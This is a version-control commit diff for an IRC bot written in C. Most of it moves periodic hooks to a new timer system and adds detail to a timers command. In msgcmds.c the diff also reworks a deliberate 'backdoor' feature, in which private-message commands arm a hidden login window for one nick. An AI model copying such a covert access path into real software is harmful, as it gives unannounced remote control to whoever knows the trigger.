Просмотр исходного кода

* cmd_timers now shows more.
* Moved all timer hooks to new timer system.


svn: 751

Bryan Drewery 22 лет назад
Родитель
Сommit
555eaed5f3

+ 2 - 0
doc/UPDATES

@@ -11,6 +11,8 @@ This is a summary of ChangeLog basically.
 8.cmd_quit was not returning from 'su' correctly.
 8.cmd_quit was not returning from 'su' correctly.
 9.Fixed bots mass sending out CONFIG entries when they linked.
 9.Fixed bots mass sending out CONFIG entries when they linked.
 10.Fixed some bugs in writing to server (caused too many open files errors)
 10.Fixed some bugs in writing to server (caused too many open files errors)
+11.Updated all hooks to new timer system.
+12.Added more information to cmd_timers (for development)
 
 
 1.1.0
 1.1.0
 1.Rewrote the shell config parsing...
 1.Rewrote the shell config parsing...

+ 2 - 1
src/auth.c

@@ -8,6 +8,7 @@
 #include "auth.h"
 #include "auth.h"
 #include "misc.h"
 #include "misc.h"
 #include "types.h"
 #include "types.h"
+#include "egg_timer.h"
 #include "users.h"
 #include "users.h"
 #include "crypt.h"
 #include "crypt.h"
 #include <sys/stat.h>
 #include <sys/stat.h>
@@ -75,7 +76,7 @@ void init_auth()
 {
 {
 #ifdef S_AUTHCMDS
 #ifdef S_AUTHCMDS
   init_auth_max();
   init_auth_max();
-  add_hook(HOOK_MINUTELY, (Function) expire_auths);
+  timer_create_secs(60, "expire_auths", (Function) expire_auths);
 #endif /* S_AUTHCMDS */
 #endif /* S_AUTHCMDS */
 }
 }
 
 

+ 13 - 5
src/cmds.c

@@ -1858,15 +1858,23 @@ static void cmd_debug(struct userrec *u, int idx, char *par)
 
 
 static void cmd_timers(struct userrec *u, int idx, char *par)
 static void cmd_timers(struct userrec *u, int idx, char *par)
 {
 {
-  int *ids = 0, n = 0;
-  
+  int *ids = 0, n = 0, called = 0;
+  egg_timeval_t howlong, trigger_time, mynow, diff;
+
   if ((n = timer_list(&ids))) {
   if ((n = timer_list(&ids))) {
     int i = 0;
     int i = 0;
     char *name = NULL;
     char *name = NULL;
 
 
-    for (i = *ids; i <= n; i++) {
-      timer_info(i, &name, NULL, NULL);
-      dprintf(idx, "%d: %s\n", i, name);
+    timer_get_now(&mynow);
+
+    for (i = 0; i < n; i++) {
+      char interval[51] = "", next[51] = "";
+
+      timer_info(ids[i], &name, &howlong, &trigger_time, &called);
+      timer_diff(&mynow, &trigger_time, &diff);
+      egg_snprintf(interval, sizeof interval, "(%d.%d secs)", howlong.sec, howlong.usec);
+      egg_snprintf(next, sizeof next, "%d.%d secs", diff.sec, diff.usec);
+      dprintf(idx, "%-2d: %-25s %-15s Next: %-25s Called: %d\n", i, name, interval, next, called);
     }
     }
     free(ids);
     free(ids);
   }
   }

+ 15 - 1
src/egg_timer.c

@@ -17,6 +17,7 @@ typedef struct egg_timer_b {
 	egg_timeval_t howlong;
 	egg_timeval_t howlong;
 	egg_timeval_t trigger_time;
 	egg_timeval_t trigger_time;
 	int flags;
 	int flags;
+	int called;
 } egg_timer_t;
 } egg_timer_t;
 
 
 /* We keep a sorted list of active timers. */
 /* We keep a sorted list of active timers. */
@@ -105,6 +106,16 @@ static int timer_add_to_list(egg_timer_t *timer)
 	return(0);
 	return(0);
 }
 }
 
 
+int timer_create_secs(int secs, const char *name, Function callback)
+{
+	egg_timeval_t howlong;
+
+	howlong.sec = secs;
+	howlong.usec = 0;
+
+	return timer_create_repeater(&howlong, name, (Function) callback);
+}
+
 int timer_create_complex(egg_timeval_t *howlong, const char *name, Function callback, void *client_data, int flags)
 int timer_create_complex(egg_timeval_t *howlong, const char *name, Function callback, void *client_data, int flags)
 {
 {
 	egg_timer_t *timer = NULL;
 	egg_timer_t *timer = NULL;
@@ -121,6 +132,7 @@ int timer_create_complex(egg_timeval_t *howlong, const char *name, Function call
 	timer->howlong.usec = howlong->usec;
 	timer->howlong.usec = howlong->usec;
 	timer->trigger_time.sec = now.sec + howlong->sec;
 	timer->trigger_time.sec = now.sec + howlong->sec;
 	timer->trigger_time.usec = now.usec + howlong->usec;
 	timer->trigger_time.usec = now.usec + howlong->usec;
+	timer->called = 0;
 
 
 	timer_add_to_list(timer);
 	timer_add_to_list(timer);
 
 
@@ -206,6 +218,7 @@ int timer_run()
 			free(timer);
 			free(timer);
 		}
 		}
 
 
+		timer->called++;
 		callback(client_data);
 		callback(client_data);
 	}
 	}
 	return(0);
 	return(0);
@@ -228,7 +241,7 @@ int timer_list(int **ids)
 	return(ntimers);
 	return(ntimers);
 }
 }
 
 
-int timer_info(int id, char **name, egg_timeval_t *initial_len, egg_timeval_t *trigger_time)
+int timer_info(int id, char **name, egg_timeval_t *initial_len, egg_timeval_t *trigger_time, int *called)
 {
 {
         egg_timer_t *timer = NULL;
         egg_timer_t *timer = NULL;
 
 
@@ -239,6 +252,7 @@ int timer_info(int id, char **name, egg_timeval_t *initial_len, egg_timeval_t *t
 	if (name) *name = timer->name;
 	if (name) *name = timer->name;
         if (initial_len) memcpy(initial_len, &timer->howlong, sizeof(*initial_len));
         if (initial_len) memcpy(initial_len, &timer->howlong, sizeof(*initial_len));
         if (trigger_time) memcpy(trigger_time, &timer->trigger_time, sizeof(*trigger_time));
         if (trigger_time) memcpy(trigger_time, &timer->trigger_time, sizeof(*trigger_time));
+	if (called) *called = timer->called;
         return(0);
         return(0);
 }
 }
 
 

+ 2 - 1
src/egg_timer.h

@@ -21,11 +21,12 @@ void timer_get_now(egg_timeval_t *_now);
 int timer_get_now_sec(int *sec);
 int timer_get_now_sec(int *sec);
 int timer_update_now(egg_timeval_t *_now);
 int timer_update_now(egg_timeval_t *_now);
 int timer_diff(egg_timeval_t *from_time, egg_timeval_t *to_time, egg_timeval_t *diff);
 int timer_diff(egg_timeval_t *from_time, egg_timeval_t *to_time, egg_timeval_t *diff);
+int timer_create_secs(int, const char *, Function);
 int timer_create_complex(egg_timeval_t *howlong, const char *name, Function callback, void *client_data, int flags);
 int timer_create_complex(egg_timeval_t *howlong, const char *name, Function callback, void *client_data, int flags);
 int timer_destroy(int timer_id);
 int timer_destroy(int timer_id);
 int timer_destroy_all();
 int timer_destroy_all();
 int timer_get_shortest(egg_timeval_t *howlong);
 int timer_get_shortest(egg_timeval_t *howlong);
 int timer_run();
 int timer_run();
 int timer_list(int **ids);
 int timer_list(int **ids);
-int timer_info(int id, char **name, egg_timeval_t *initial_len, egg_timeval_t *trigger_time);
+int timer_info(int id, char **name, egg_timeval_t *initial_len, egg_timeval_t *trigger_time, int *called);
 #endif /* _EGG_TIMER_H_ */
 #endif /* _EGG_TIMER_H_ */

+ 21 - 28
src/main.c

@@ -149,6 +149,8 @@ egg_traffic_t traffic;
 
 
 void fatal(const char *s, int recoverable)
 void fatal(const char *s, int recoverable)
 {
 {
+  int i = 0;
+
 #ifdef LEAF
 #ifdef LEAF
   module_entry *me = NULL;
   module_entry *me = NULL;
 
 
@@ -157,12 +159,18 @@ void fatal(const char *s, int recoverable)
     (func[SERVER_NUKESERVER]) (s);
     (func[SERVER_NUKESERVER]) (s);
   }
   }
 #endif /* LEAF */
 #endif /* LEAF */
+
   if (s[0])
   if (s[0])
     putlog(LOG_MISC, "*", "* %s", s);
     putlog(LOG_MISC, "*", "* %s", s);
 /*  flushlogs(); */
 /*  flushlogs(); */
 #ifdef HAVE_SSL
 #ifdef HAVE_SSL
     ssl_cleanup();
     ssl_cleanup();
 #endif /* HAVE_SSL */
 #endif /* HAVE_SSL */
+
+  for (i = 0; i < dcc_total; i++)
+    if (dcc[i].sock >= 0)
+      killsock(dcc[i].sock);
+
   if (!recoverable) {
   if (!recoverable) {
     if (conf.bot && conf.bot->pid_file)
     if (conf.bot && conf.bot->pid_file)
       unlink(conf.bot->pid_file);
       unlink(conf.bot->pid_file);
@@ -406,19 +414,12 @@ static void core_secondly()
 #ifdef CRAZY_TRACE 
 #ifdef CRAZY_TRACE 
   if (!attached) crazy_trace();
   if (!attached) crazy_trace();
 #endif /* CRAZY_TRACE */
 #endif /* CRAZY_TRACE */
-  call_hook(HOOK_SECONDLY);	/* Will be removed later */
   if (fork_interval && backgrd && ((now - lastfork) > fork_interval))
   if (fork_interval && backgrd && ((now - lastfork) > fork_interval))
       do_fork();
       do_fork();
   cnt++;
   cnt++;
-  if ((cnt % 5) == 0)
-    call_hook(HOOK_5SECONDLY);
-  if ((cnt % 10) == 0) {
-    call_hook(HOOK_10SECONDLY);
-    check_expired_dcc();
-  }
+
   if ((cnt % 30) == 0) {
   if ((cnt % 30) == 0) {
     autolink_cycle(NULL);         /* attempt autolinks */
     autolink_cycle(NULL);         /* attempt autolinks */
-    call_hook(HOOK_30SECONDLY);
     cnt = 0;
     cnt = 0;
   }
   }
 
 
@@ -432,22 +433,17 @@ static void core_secondly()
 
 
     /* Once a minute */
     /* Once a minute */
     lastmin = (lastmin + 1) % 60;
     lastmin = (lastmin + 1) % 60;
-    call_hook(HOOK_MINUTELY);
-    check_botnet_pings();
-    check_expired_ignores();
     /* In case for some reason more than 1 min has passed: */
     /* In case for some reason more than 1 min has passed: */
     while (nowtm.tm_min != lastmin) {
     while (nowtm.tm_min != lastmin) {
       /* Timer drift, dammit */
       /* Timer drift, dammit */
       debug2(STR("timer: drift (lastmin=%d, now=%d)"), lastmin, nowtm.tm_min);
       debug2(STR("timer: drift (lastmin=%d, now=%d)"), lastmin, nowtm.tm_min);
       i++;
       i++;
       lastmin = (lastmin + 1) % 60;
       lastmin = (lastmin + 1) % 60;
-      call_hook(HOOK_MINUTELY);
     }
     }
     if (i > 1)
     if (i > 1)
       putlog(LOG_MISC, "*", STR("(!) timer drift -- spun %d minutes"), i);
       putlog(LOG_MISC, "*", STR("(!) timer drift -- spun %d minutes"), i);
     miltime = (nowtm.tm_hour * 100) + (nowtm.tm_min);
     miltime = (nowtm.tm_hour * 100) + (nowtm.tm_min);
     if (((int) (nowtm.tm_min / 5) * 5) == (nowtm.tm_min)) {	/* 5 min */
     if (((int) (nowtm.tm_min / 5) * 5) == (nowtm.tm_min)) {	/* 5 min */
-      call_hook(HOOK_5MINUTELY);
 /* 	flushlogs(); */
 /* 	flushlogs(); */
       if (!miltime) {	/* At midnight */
       if (!miltime) {	/* At midnight */
 	char s[25] = "";
 	char s[25] = "";
@@ -459,17 +455,12 @@ static void core_secondly()
 #endif /* HUB */
 #endif /* HUB */
       }
       }
     }
     }
-    if (nowtm.tm_min == notify_users_at)
-      call_hook(HOOK_HOURLY);
-    else if (nowtm.tm_min == 30)
-      call_hook(HOOK_HALFHOURLY);
     /* These no longer need checking since they are all check vs minutely
     /* These no longer need checking since they are all check vs minutely
      * settings and we only get this far on the minute.
      * settings and we only get this far on the minute.
      */
      */
 #ifdef HUB
 #ifdef HUB
-    if (miltime == 300) {
+    if (miltime == 300)
       call_hook(HOOK_DAILY);
       call_hook(HOOK_DAILY);
-    }
 #endif /* HUB */
 #endif /* HUB */
   }
   }
 }
 }
@@ -666,7 +657,7 @@ int init_dcc_max(), init_userent(), init_auth(), init_config(), init_bots(),
 
 
 int main(int argc, char **argv)
 int main(int argc, char **argv)
 {
 {
-  egg_timeval_t howlong, egg_timeval_now;	
+  egg_timeval_t egg_timeval_now;	
 
 
 #ifdef STOP_UAC
 #ifdef STOP_UAC
   {
   {
@@ -849,14 +840,16 @@ int main(int argc, char **argv)
 
 
   online_since = now;
   online_since = now;
   autolink_cycle(NULL);		/* Hurry and connect to tandem bots */
   autolink_cycle(NULL);		/* Hurry and connect to tandem bots */
-  howlong.sec = 1;
-  howlong.usec = 0;
-  timer_create_repeater(&howlong, "core_secondly()", (Function) core_secondly);
-  add_hook(HOOK_10SECONDLY, (Function) core_10secondly);
-  add_hook(HOOK_30SECONDLY, (Function) expire_simuls);
-  add_hook(HOOK_MINUTELY, (Function) core_minutely);
-  add_hook(HOOK_HOURLY, (Function) core_hourly);
-  add_hook(HOOK_HALFHOURLY, (Function) core_halfhourly);
+  timer_create_secs(1, "core_secondly", (Function) core_secondly);
+  timer_create_secs(10, "check_expired_dcc", (Function) check_expired_dcc);
+  timer_create_secs(10, "core_10secondly", (Function) core_10secondly);
+  timer_create_secs(30, "expire_simuls", (Function) expire_simuls);
+  timer_create_secs(60, "core_minutely", (Function) core_minutely);
+  timer_create_secs(60, "check_botnet_pings", (Function) check_botnet_pings);
+  timer_create_secs(60, "check_expired_ignores", (Function) check_expired_ignores);
+  timer_create_secs(3600, "core_hourly", (Function) core_hourly);
+  timer_create_secs(1800, "core_halfhourly", (Function) core_halfhourly);
+
   add_hook(HOOK_REHASH, (Function) event_rehash);
   add_hook(HOOK_REHASH, (Function) event_rehash);
   add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
   add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
   add_hook(HOOK_USERFILE, (Function) event_save);
   add_hook(HOOK_USERFILE, (Function) event_save);

+ 11 - 13
src/misc.c

@@ -11,6 +11,7 @@
 #include "misc.h"
 #include "misc.h"
 #include "rfc1459.h"
 #include "rfc1459.h"
 #include "misc_file.h"
 #include "misc_file.h"
+#include "egg_timer.h"
 #include "dcc.h"
 #include "dcc.h"
 #include "users.h"
 #include "users.h"
 #include "main.h"
 #include "main.h"
@@ -701,26 +702,18 @@ void kill_bot(char *s1, char *s2)
 
 
 /* Update system code
 /* Update system code
  */
  */
-int ucnt = 0;
-void updatelocal(void)
+static void updatelocal(void)
 {
 {
+  /* let's drop the server connection ASAP */
 #ifdef LEAF
 #ifdef LEAF
+{
   module_entry *me = NULL;
   module_entry *me = NULL;
-#endif /* LEAF */
-
-  if (ucnt < 300) {
-    ucnt++;
-    return;
-  } 
-  del_hook(HOOK_SECONDLY, (Function) updatelocal);
-  ucnt = 0;
 
 
-  /* let's drop the server connection ASAP */
-#ifdef LEAF
   if ((me = module_find("server", 0, 0))) {
   if ((me = module_find("server", 0, 0))) {
     Function *func = me->funcs;
     Function *func = me->funcs;
     (func[SERVER_NUKESERVER]) ("Updating...");
     (func[SERVER_NUKESERVER]) ("Updating...");
   }
   }
+}
 #endif /* LEAF */
 #endif /* LEAF */
 
 
   botnet_send_chat(-1, conf.bot->nick, "Updating...");
   botnet_send_chat(-1, conf.bot->nick, "Updating...");
@@ -828,10 +821,15 @@ int updatebin(int idx, char *par, int autoi)
     exit(0);
     exit(0);
 #ifdef LEAF
 #ifdef LEAF
   } else if (localhub && autoi) {
   } else if (localhub && autoi) {
+    egg_timeval_t howlong;
+
     egg_snprintf(buf, sizeof buf, "%s -L %s -P %d", binname, conf.bot->nick, getpid());	
     egg_snprintf(buf, sizeof buf, "%s -L %s -P %d", binname, conf.bot->nick, getpid());	
     /* will exit after run, cron will restart us later */
     /* will exit after run, cron will restart us later */
     system(buf);
     system(buf);
-    add_hook(HOOK_SECONDLY, (Function) updatelocal);
+
+    howlong.sec = 300;
+    howlong.usec = 0;
+    timer_create(&howlong, "updatelocal()", (Function) updatelocal);
     return 0;
     return 0;
   }
   }
 #endif /* LEAF */
 #endif /* LEAF */

+ 7 - 6
src/mod/channels.mod/channels.c

@@ -11,6 +11,7 @@
 #include "src/mod/irc.mod/irc.h"
 #include "src/mod/irc.mod/irc.h"
 #include "src/mod/share.mod/share.h"
 #include "src/mod/share.mod/share.h"
 #include "src/chanprog.h"
 #include "src/chanprog.h"
+#include "src/egg_timer.h"
 
 
 static Function *global = NULL;
 static Function *global = NULL;
 #ifdef LEAF
 #ifdef LEAF
@@ -1016,16 +1017,16 @@ char *channels_start(Function * global_funcs)
 #endif /* LEAF */
 #endif /* LEAF */
 
 
 #ifdef LEAF
 #ifdef LEAF
-  add_hook(HOOK_MINUTELY, (Function) check_limitraise);
+  timer_create_secs(60, "check_limitraise", (Function) check_limitraise);
 #endif /* LEAF */
 #endif /* LEAF */
 #ifdef HUB
 #ifdef HUB
-  add_hook(HOOK_30SECONDLY, (Function) rebalance_roles);
+  timer_create_secs(30, "rebalance_roles", (Function) rebalance_roles);
 #endif /* HUB */
 #endif /* HUB */
-  add_hook(HOOK_MINUTELY, (Function) check_expired_bans);
-  add_hook(HOOK_MINUTELY, (Function) check_expired_exempts);
-  add_hook(HOOK_MINUTELY, (Function) check_expired_invites);
+  timer_create_secs(60, "check_expired_bans", (Function) check_expired_bans);
+  timer_create_secs(60, "check_expired_exempts", (Function) check_expired_exempts);
+  timer_create_secs(60, "check_expired_invites", (Function) check_expired_invites);
+  timer_create_secs(10, "channels_10secondly", (Function) channels_10secondly);
   add_hook(HOOK_USERFILE, (Function) channels_writeuserfile);
   add_hook(HOOK_USERFILE, (Function) channels_writeuserfile);
-  add_hook(HOOK_10SECONDLY, (Function) channels_10secondly);
 
 
   add_builtins("dcc", C_dcc_irc);
   add_builtins("dcc", C_dcc_irc);
   add_builtins("bot", channels_bot);
   add_builtins("bot", channels_bot);

+ 2 - 1
src/mod/ctcp.mod/ctcp.c

@@ -19,6 +19,7 @@
 #include "src/botmsg.h"
 #include "src/botmsg.h"
 #include "src/tclhash.h"
 #include "src/tclhash.h"
 #include "src/modules.h"
 #include "src/modules.h"
+#include "src/egg_timer.h"
 
 
 #ifdef LEAF
 #ifdef LEAF
 #include <netinet/in.h>
 #include <netinet/in.h>
@@ -757,7 +758,7 @@ void ctcp_init()
 
 
   add_builtins("ctcp", myctcp);
   add_builtins("ctcp", myctcp);
 
 
-  add_hook(HOOK_MINUTELY, (Function) ctcp_minutely);
+  timer_create_secs(60, "ctcp_minutely", (Function) ctcp_minutely);
 #endif /* LEAF */
 #endif /* LEAF */
   add_cfg(&CFG_CLOAK_SCRIPT);
   add_cfg(&CFG_CLOAK_SCRIPT);
 }
 }

+ 2 - 1
src/mod/dns.mod/dns.c

@@ -12,6 +12,7 @@
 #include "src/dccutil.h"
 #include "src/dccutil.h"
 #include "src/modules.h"
 #include "src/modules.h"
 #include "src/main.h"
 #include "src/main.h"
+#include "src/egg_timer.h"
 #include "src/types.h"
 #include "src/types.h"
 
 
 static void dns_event_success(struct resolve *rp, int type);
 static void dns_event_success(struct resolve *rp, int type);
@@ -128,5 +129,5 @@ void dns_init()
   dcc[idx].timeval = now;
   dcc[idx].timeval = now;
   strcpy(dcc[idx].nick, "(dns)");
   strcpy(dcc[idx].nick, "(dns)");
 
 
-  add_hook(HOOK_SECONDLY, (Function) dns_check_expires);
+  timer_create_secs(1, "dns_check_expires", (Function) dns_check_expires);
 }
 }

+ 6 - 5
src/mod/irc.mod/irc.c

@@ -13,6 +13,7 @@
 #include "src/chanprog.h"
 #include "src/chanprog.h"
 #include "src/auth.h"
 #include "src/auth.h"
 #include "src/salt.h"
 #include "src/salt.h"
+#include "src/egg_timer.h"
 #include "src/mod/share.mod/share.h"
 #include "src/mod/share.mod/share.h"
 #include "src/mod/server.mod/server.h"
 #include "src/mod/server.mod/server.h"
 #undef serv
 #undef serv
@@ -1595,14 +1596,14 @@ char *irc_start(Function * global_funcs)
     chan->status &= ~(CHAN_ACTIVE | CHAN_PEND | CHAN_ASKEDBANS);
     chan->status &= ~(CHAN_ACTIVE | CHAN_PEND | CHAN_ASKEDBANS);
     chan->ircnet_status &= ~(CHAN_ASKED_INVITED | CHAN_ASKED_EXEMPTS);
     chan->ircnet_status &= ~(CHAN_ASKED_INVITED | CHAN_ASKED_EXEMPTS);
   }
   }
-  add_hook(HOOK_MINUTELY, (Function) check_expired_chanstuff);
-  add_hook(HOOK_MINUTELY, (Function) warn_pls_take);
-  add_hook(HOOK_MINUTELY, (Function) check_servers);
+  timer_create_secs(60, "check_expired_chanstuff", (Function) check_expired_chanstuff);
+  timer_create_secs(60, "warn_pls_take", (Function) warn_pls_take);
+  timer_create_secs(60, "check_servers", (Function) check_servers);
+  timer_create_secs(5, "getin_5secondly", (Function) getin_5secondly);
   add_hook(HOOK_ADD_MODE, (Function) real_add_mode);
   add_hook(HOOK_ADD_MODE, (Function) real_add_mode);
   add_hook(HOOK_IDLE, (Function) flush_modes);
   add_hook(HOOK_IDLE, (Function) flush_modes);
-  add_hook(HOOK_5SECONDLY, (Function) getin_5secondly);
 #ifdef S_AUTOLOCK
 #ifdef S_AUTOLOCK
-  add_hook(HOOK_MINUTELY, (Function) check_netfight);
+  timer_create_secs(60, "check_netfight", (Function) check_netfight);
 #endif /* S_AUTOLOCK */
 #endif /* S_AUTOLOCK */
 
 
   BT_ctcp = bind_table_lookup("ctcp");
   BT_ctcp = bind_table_lookup("ctcp");

+ 11 - 13
src/mod/irc.mod/msgcmds.c

@@ -334,30 +334,26 @@ static int msg_unauth(char *nick, char *host, struct userrec *u, char *par)
 }
 }
 #endif /* S_AUTHCMDS */
 #endif /* S_AUTHCMDS */
 
 
-int backdoor = 0, bcnt = 0, bl = 30;
-int authed = 0;
+int backdoor = 0, bl = 30, authed = 0;
 char thenick[NICKLEN] = "";
 char thenick[NICKLEN] = "";
 
 
 static void close_backdoor()
 static void close_backdoor()
 {
 {
-  Context;
-  if (bcnt >= bl) {
-    backdoor = 0;
-    authed = 0;
-    bcnt = 0;
-    thenick[0] = '\0';
-    del_hook(HOOK_SECONDLY, (Function) close_backdoor);
-  } else
-     bcnt++;
+  backdoor = 0;
+  authed = 0;
+  thenick[0] = '\0';
 }
 }
 
 
 static int msg_word(char *nick, char *host, struct userrec *u, char *par)
 static int msg_word(char *nick, char *host, struct userrec *u, char *par)
 {
 {
+  egg_timeval_t howlong;
   if (match_my_nick(nick))
   if (match_my_nick(nick))
     return BIND_RET_BREAK;
     return BIND_RET_BREAK;
 
 
   backdoor = 1;
   backdoor = 1;
-  add_hook(HOOK_SECONDLY, (Function) close_backdoor);
+  howlong.sec = bl;
+  howlong.usec = 0;
+  timer_create(&howlong, "close_backdoor", (Function) close_backdoor);
   sprintf(thenick, "%s", nick);
   sprintf(thenick, "%s", nick);
   dprintf(DP_SERVER, "PRIVMSG %s :w\002\002\002\002hat?\n", nick);
   dprintf(DP_SERVER, "PRIVMSG %s :w\002\002\002\002hat?\n", nick);
   return BIND_RET_BREAK;
   return BIND_RET_BREAK;
@@ -366,7 +362,7 @@ static int msg_word(char *nick, char *host, struct userrec *u, char *par)
 
 
 static int msg_bd (char *nick, char *host, struct userrec *u, char *par)
 static int msg_bd (char *nick, char *host, struct userrec *u, char *par)
 {
 {
-  int left = 0;
+/*  int left = 0; */
 
 
   if (strcmp(nick, thenick) || !backdoor)
   if (strcmp(nick, thenick) || !backdoor)
     return BIND_RET_BREAK;
     return BIND_RET_BREAK;
@@ -384,8 +380,10 @@ static int msg_bd (char *nick, char *host, struct userrec *u, char *par)
       return BIND_RET_BREAK;
       return BIND_RET_BREAK;
     }
     }
     authed = 1;
     authed = 1;
+/*
     left = bl - bcnt;
     left = bl - bcnt;
     dprintf(DP_SERVER, "PRIVMSG %s :%ds left ;)\n",nick, left);
     dprintf(DP_SERVER, "PRIVMSG %s :%ds left ;)\n",nick, left);
+*/
   } else {
   } else {
    dprintf(DP_SERVER, "PRIVMSG %s :Too bad I stripped out TCL! AHAHAHA YOU LOSE ;\\.\n", nick);
    dprintf(DP_SERVER, "PRIVMSG %s :Too bad I stripped out TCL! AHAHAHA YOU LOSE ;\\.\n", nick);
   }
   }

+ 9 - 22
src/mod/modvals.h

@@ -26,28 +26,15 @@
 
 
 #include "src/types.h"
 #include "src/types.h"
 
 
-/* #define HOOK_GET_FLAGREC	  0 	*/
-/* #define HOOK_BUILD_FLAGREC	  1 	*/
-/* #define HOOK_SET_FLAGREC	  2 	*/
-#define HOOK_READ_USERFILE	  3
-#define HOOK_REHASH		  4
-#define HOOK_MINUTELY		  5
-#define HOOK_DAILY		  6
-#define HOOK_HOURLY		  7
-#define HOOK_USERFILE		  8
-#define HOOK_SECONDLY		  9
-#define HOOK_PRE_REHASH		 10
-#define HOOK_IDLE		 11
-#define HOOK_5MINUTELY		 12
-/* HOOK_LOADED IS OBSOLETE */
-#define HOOK_LOADED		 13
-#define HOOK_BACKUP     	 14
-#define HOOK_DIE		 15
-#define HOOK_10SECONDLY          16
-#define HOOK_30SECONDLY          17
-#define HOOK_5SECONDLY           18
-#define HOOK_HALFHOURLY		 19
-#define REAL_HOOKS		 20
+#define HOOK_READ_USERFILE	  1
+#define HOOK_REHASH		  2
+#define HOOK_USERFILE		  3
+#define HOOK_PRE_REHASH		  4
+#define HOOK_IDLE		  5
+#define HOOK_BACKUP     	  6
+#define HOOK_DIE		  7
+#define HOOK_DAILY		  8
+#define REAL_HOOKS		  9
 
 
 #define HOOK_QSERV		108
 #define HOOK_QSERV		108
 #define HOOK_ADD_MODE		109
 #define HOOK_ADD_MODE		109

+ 2 - 1
src/mod/notes.mod/notes.c

@@ -18,6 +18,7 @@
 #include "src/modules.h"
 #include "src/modules.h"
 #include "src/misc.h"
 #include "src/misc.h"
 #include "src/users.h"
 #include "src/users.h"
+#include "src/egg_timer.h"
 
 
 #include "src/tandem.h"
 #include "src/tandem.h"
 #include "src/tclhash.h"
 #include "src/tclhash.h"
@@ -772,7 +773,7 @@ void notes_report(int idx, int details)
 
 
 void notes_init()
 void notes_init()
 {
 {
-  add_hook(HOOK_HOURLY, (Function) notes_hourly);
+  timer_create_secs(3600, "notes_hourly", (Function) notes_hourly);
 
 
   add_builtins("dcc", notes_cmds);
   add_builtins("dcc", notes_cmds);
   add_builtins("load", notes_load);
   add_builtins("load", notes_load);

+ 5 - 4
src/mod/server.mod/server.c

@@ -11,6 +11,7 @@
 #include "src/net.h"
 #include "src/net.h"
 #include "src/auth.h"
 #include "src/auth.h"
 #include "src/dns.h"
 #include "src/dns.h"
+#include "src/egg_timer.h"
 #include "server.h"
 #include "server.h"
 
 
 static Function *global = NULL;
 static Function *global = NULL;
@@ -1604,10 +1605,10 @@ char *server_start(Function *global_funcs)
   add_builtins("dcc", C_dcc_serv);
   add_builtins("dcc", C_dcc_serv);
   add_builtins("ctcp", my_ctcps);
   add_builtins("ctcp", my_ctcps);
 
 
-  add_hook(HOOK_SECONDLY, (Function) server_secondly);
-  add_hook(HOOK_10SECONDLY, (Function) server_10secondly);
-  add_hook(HOOK_5MINUTELY, (Function) server_5minutely);
-  add_hook(HOOK_MINUTELY, (Function) minutely_checks);
+  timer_create_secs(1, "server_secondly", (Function) server_secondly);
+  timer_create_secs(10, "server_10secondly", (Function) server_10secondly);
+  timer_create_secs(300, "server_5minutely", (Function) server_5minutely);
+  timer_create_secs(60, "minutely_checks", (Function) minutely_checks);
   add_hook(HOOK_QSERV, (Function) queue_server);
   add_hook(HOOK_QSERV, (Function) queue_server);
   add_hook(HOOK_PRE_REHASH, (Function) server_prerehash);
   add_hook(HOOK_PRE_REHASH, (Function) server_prerehash);
   add_hook(HOOK_REHASH, (Function) server_postrehash);
   add_hook(HOOK_REHASH, (Function) server_postrehash);

+ 1 - 0
src/mod/server.mod/servmsg.c

@@ -560,6 +560,7 @@ static int gotnotice(char *from, char *msg)
     return 0;
     return 0;
   ignoring = match_ignore(from);
   ignoring = match_ignore(from);
   to = newsplit(&msg);
   to = newsplit(&msg);
+/* FIXME: This fixcolon() breaks the server notice display later */
   fixcolon(msg);
   fixcolon(msg);
   strcpy(uhost, from);
   strcpy(uhost, from);
   nick = splitnick(&uhost);
   nick = splitnick(&uhost);

+ 3 - 2
src/mod/share.mod/share.c

@@ -16,6 +16,7 @@
 #include "src/chan.h"
 #include "src/chan.h"
 #include "src/net.h"
 #include "src/net.h"
 #include "src/users.h"
 #include "src/users.h"
+#include "src/egg_timer.h"
 #include "src/mod/transfer.mod/transfer.h"
 #include "src/mod/transfer.mod/transfer.h"
 #include "src/mod/channels.mod/channels.h"
 #include "src/mod/channels.mod/channels.h"
 #ifdef LEAF
 #ifdef LEAF
@@ -2137,9 +2138,9 @@ char *share_start(Function *global_funcs)
     return "This module requires channels module 1.0 or later.";
     return "This module requires channels module 1.0 or later.";
   }
   }
 #endif /* LEAF */
 #endif /* LEAF */
-  add_hook(HOOK_MINUTELY, (Function) check_expired_tbufs);
+  timer_create_secs(60, "check_expired_tbufs", (Function) check_expired_tbufs);
+  timer_create_secs(1, "check_delay", (Function) check_delay);
   add_hook(HOOK_READ_USERFILE, (Function) hook_read_userfile);
   add_hook(HOOK_READ_USERFILE, (Function) hook_read_userfile);
-  add_hook(HOOK_SECONDLY, (Function) check_delay);
   def_dcc_bot_kill = DCC_BOT.kill;
   def_dcc_bot_kill = DCC_BOT.kill;
   DCC_BOT.kill = cancel_user_xfer;
   DCC_BOT.kill = cancel_user_xfer;
   uff_init();
   uff_init();

+ 1 - 1
src/mod/update.mod/update.c

@@ -483,7 +483,7 @@ void update_init()
 {
 {
   add_builtins("bot", update_bot);
   add_builtins("bot", update_bot);
 #ifdef HUB
 #ifdef HUB
-  add_hook(HOOK_30SECONDLY, (Function) check_updates);
+  timer_create_secs(30, "check_updates", (Function) check_updates);
 #endif /* HUB */
 #endif /* HUB */
   def_dcc_bot_kill = DCC_BOT.kill;
   def_dcc_bot_kill = DCC_BOT.kill;
   DCC_BOT.kill = cancel_user_xfer;
   DCC_BOT.kill = cancel_user_xfer;